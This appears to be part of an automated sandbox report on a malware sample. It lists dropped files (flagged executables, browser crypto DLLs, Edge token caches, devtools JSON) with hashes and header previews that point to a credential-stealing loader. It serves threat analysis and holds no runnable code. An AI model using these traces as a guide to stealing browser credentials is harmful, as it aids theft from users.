C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ffefead9-020a-45e7-81c5-ff24fc5495b7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46151
Entropy (8bit):	6.087691964301444
Encrypted:	false
SSDEEP:	768:bMkbJrT8IeQc5JKeckXLmZkNXmK2XaPLFXDo3rVIQmxgxC1ocwWE7RTupzKscDX/:bMk1rT8HBK921iIQ9IocoRTui/
MD5:	F47A506B6DAB5879EEFBC0B835D0330D
SHA1:	A5A963C560A715D3A4F259274D88AB3E82ACBACE
SHA-256:	F4D9A9F9537DB2F1505E5584D37B896CF304E04BD9515E018FBA029E1786F65C
SHA-512:	455E21F9F10EEB61D0D6DEECAC09D957FA23FBFC3BD329A3E680DFFD10BF996E9285A0834077D6620CF1079ECD8FC3BC3D613B964DAD2573F9D2C8BCC11F5B89
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"657c95aa-6cad-407f-bd80-3b4d2e7fbc37"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8396664876767783
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxAxl9Il8uGR0vuKch3hpqfgqA8dNEod1rc:mtY8R0mz3PqfgRkNE/
MD5:	FAF86C768AC80DE5860642C9936DA2AF
SHA1:	01E5EB8083AF78204B936ADF264682DAF1ED831C
SHA-256:	7AF58DAB05467F9D1EEECB00BD35EDBC8A0F31846558B69A945698DBFB142256
SHA-512:	C868657836BDCA60F703DC1D01F24C931418E6CF6B9FAADE9A6E57AE72D943A6D46B05DCB9B13BF6030FEABD92F90B61EAAA611F5DC776221F8B18814B2237AB
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.K.o.w.x.D.I./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.D.P.t.e.j.N.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9971551781358454
Encrypted:	false
SSDEEP:	96:TYhdnTi4bo6PNNeYOX6zGM+fGfnKmEfrpw:T6dn+4bo0GOGM/rGw
MD5:	0EDC25C18DF90EC5211F58F7BDFFD2DD
SHA1:	0B9E4F24902B0F4BDF8E583AB23C06D18339840F
SHA-256:	113E1730F7635C9C733C5B6F9C489E53C42EBBFF65F81666F706B28A5D88952E
SHA-512:	C2F3B210B317E52743F42D6ADE5CDCA2F34D582ECD1377C64EDE9DC89097272F9F6B81377C1863A9FE2577005E1A854AD094E6C9129173F709566970E211F0D5
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".e.e.X.+.q.C.o./.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.D.P.t.e.j.N.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.8960319419066014
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xSlxl9Il8uNSi+oOP+X+gMPpjXCN8ZcJyjKd/vc:a+YrSU2eAPpjgILD
MD5:	C3747FE7160AB7BA13D6E78355409BB8
SHA1:	2E3CE714D2FA2BE5E6DD16BE68909465EDECA186
SHA-256:	A0ED7BE7484A984534E63448A9D464A6F03AA6A17FF3A6FF7F851289757393CB
SHA-512:	16A511E726F40305922A940F092A3B2D6416ACF4DE6FDF5A9ECC93DE29610937104B4C92CB3FDF71FA3BA1850162AA5801440DD22B02BB2FB0B5EE3425CCD9A3
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".B.l.S.T.2.f.t.d.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.D.P.t.e.j.N.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1228800
Entropy (8bit):	7.979226921811267
Encrypted:	false
SSDEEP:	24576:3eDJlg57G9+LL+TfMxxVyvONcakJEYw6vbiZvp66edyu2mdMtWIWclaT:3YU5qfOyvOajEYlvbiZOp2md3HclaT
MD5:	9926FC7360CB0ED52083D7E3141BF22D
SHA1:	2E79EF36CAC4F74561B897955337CB3DFA2516D7
SHA-256:	02079FE30C30B72236F47EB3AAA17E067E9E83E9D80308A22B560E8A2F615816
SHA-512:	6749D706700810B3913ABB75259A3D6C05680750B44327689ECE2DA07FE42682F9633B3D1689A42CCB32A56E501B995CDD7FCBF799961199EBC5330096C7B243
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@...................................C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...vbnvzqtd.............'.............@...ugjoxxza.............bC.............@....taggant.0......."...fC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\eDPQZkT[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873408
Entropy (8bit):	7.948233275439055
Encrypted:	false
SSDEEP:	24576:Wpp/RODb8cg8sMjq5BlqRxKwcAAybNf3sOd5kD/V/zDxd/XEqkFc1fuYHuog+s0P:spODb8cgtVp/FyKou7F9JX+FYH5
MD5:	A63CADCE90E5A2236DF20FEAF391A8A5
SHA1:	F28A33957756A509324DEBAF69561557D09951E0
SHA-256:	8B30A280CA29471088EA3858B9F3E1788239DFE5D6E71A503C7916AC36F74FE9
SHA-512:	CD757A61E39C6B59D8971631F4C7041AB323BE8250B57F12C2375EB46C22B0CEE965DF35F17794B9FE1B2DA8C5CAF6E38A41A8C9908092ADFFD35B4C76809E1C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................0J...........@..........................`J......B....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...tjxhgeed..... 0......x..............@...ccdijxqb..... J......n..............@....taggant.0...0J.."...t..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.361957715816334
Encrypted:	false
SSDEEP:	48:SfNaoQVTEQUfNaoQp5e5fQp5KfNaoQrThQrPfNaoQTt0UrU0U8QD:6NnQVTEQANnQpYtQpcNnQrThQrnNnQTy
MD5:	DF40FE17982BD843719F0550B0DE8B89
SHA1:	762EF40748C0627AB86CEF4D61197E417A8D2C78
SHA-256:	2C619B3FF16A25EBC6C41F31BFE4005FD11BF55DA001A09EDD86DC499A6930CB
SHA-512:	84DEEC1BD67B90B45B41EA0D240C678980BDDFE5E42DAC7C504729B5D919E2E12BA8FBC7CDD64F3511B3B6522B5C152F9E62301DC08083F3B8000655BFA28147
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/79214A7F630A37599701739D55F238C0",.. "id": "79214A7F630A37599701739D55F238C0",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/79214A7F630A37599701739D55F238C0"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/9429654932EB621EEBFAE2CF6F81CF49",.. "id": "9429654932EB621EEBFAE2CF6F81CF49",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/9429654932EB621EEBFAE2CF6F81CF49"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1910272
Entropy (8bit):	7.951025077802147
Encrypted:	false
SSDEEP:	49152:m5dUd3AaunFFlaGnp1sNA/b9deJJJaHj0aVm:mDUdAaspH/b9d
MD5:	9E17612D265863581FC761E5B94622D3
SHA1:	83C605DB6E0DF8C9547F4AD9DB9B46D1255A1E07
SHA-256:	5C2DF4701F0C81874096596AC9026C09EDC28D8BB95F6388CC41700391CCF6A9
SHA-512:	205454CE308FE6F6A39E3FF4BDFF1D0DFDDB12DFCF23D0A88A6D4CBF06B91E0EBEC9B4B2896F18893017ACD79D8E162C355C5A41CDAF96618CFB9CD02DC2FF84
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................L...........@..........................0L.....Hl....@.................................W...k.......D...................4.K...............................K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .0+.........................@...umzmfkfc......1.....................@...eqgvdfkx......K.....................@....taggant.0....L.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.395181346865906
Encrypted:	false
SSDEEP:	96:6NnQGHQONnQIbQ9NnQ09QbNnQBdgEQONnQFGFQFyNnQUDQANnQ1Zo9wQ1iNnQ+oT:6N9NcNiNw7N/NZ3NOY8N7a
MD5:	1D71D61E2AA2DDCEF6868B53BF826B6E
SHA1:	15AD5DEA7EFE0C1B65CC5022244CFF669B2BBAE2
SHA-256:	7FC8EABCD35F48F86DA016E0546F36FDB216C8FBBBDCC97F503182653A4A9721
SHA-512:	6FCDD2387CA83898930C40506D3B4B3390E523E420C8EDCEAD246434B30799BFEA7C2D759C5C3B4969006D8D977B581AB15C32AEA8CB6CDF77D3625FB3324CE1
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/977573E8961B0F7B09C38EE3E91F68F4",.. "id": "977573E8961B0F7B09C38EE3E91F68F4",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/977573E8961B0F7B09C38EE3E91F68F4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D5C326AF8E9D6CCC3FB8B5FE868CEA14",.. "id": "D5C326AF8E9D6CCC3FB8B5FE868CEA14",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D5C326AF8E9D6CCC3FB8B5FE868CEA14"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Temp\1009006001\eDPQZkT.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1873408
Entropy (8bit):	7.948233275439055
Encrypted:	false
SSDEEP:	24576:Wpp/RODb8cg8sMjq5BlqRxKwcAAybNf3sOd5kD/V/zDxd/XEqkFc1fuYHuog+s0P:spODb8cgtVp/FyKou7F9JX+FYH5
MD5:	A63CADCE90E5A2236DF20FEAF391A8A5
SHA1:	F28A33957756A509324DEBAF69561557D09951E0
SHA-256:	8B30A280CA29471088EA3858B9F3E1788239DFE5D6E71A503C7916AC36F74FE9
SHA-512:	CD757A61E39C6B59D8971631F4C7041AB323BE8250B57F12C2375EB46C22B0CEE965DF35F17794B9FE1B2DA8C5CAF6E38A41A8C9908092ADFFD35B4C76809E1C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g.............................0J...........@..........................`J......B....@.................................\...p....p.............................................................................................................. . .`.......b..................@....rsrc........p.......r..............@....idata .............t..............@... ..*..........v..............@...tjxhgeed..... 0......x..............@...ccdijxqb..... J......n..............@....taggant.0...0J.."...t..............@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1009009001\ead1a5c329.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1228800
Entropy (8bit):	7.979226921811267
Encrypted:	false
SSDEEP:	24576:3eDJlg57G9+LL+TfMxxVyvONcakJEYw6vbiZvp66edyu2mdMtWIWclaT:3YU5qfOyvOajEYlvbiZOp2md3HclaT
MD5:	9926FC7360CB0ED52083D7E3141BF22D
SHA1:	2E79EF36CAC4F74561B897955337CB3DFA2516D7
SHA-256:	02079FE30C30B72236F47EB3AAA17E067E9E83E9D80308A22B560E8A2F615816
SHA-512:	6749D706700810B3913ABB75259A3D6C05680750B44327689ECE2DA07FE42682F9633B3D1689A42CCB32A56E501B995CDD7FCBF799961199EBC5330096C7B243
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2............J...@...................................C...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..8...q.......'.............@...vbnvzqtd.............'.............@...ugjoxxza.............bC.............@....taggant.0......."...fC.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\31893d51-4dd2-4fd1-8289-fee1c3230a46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
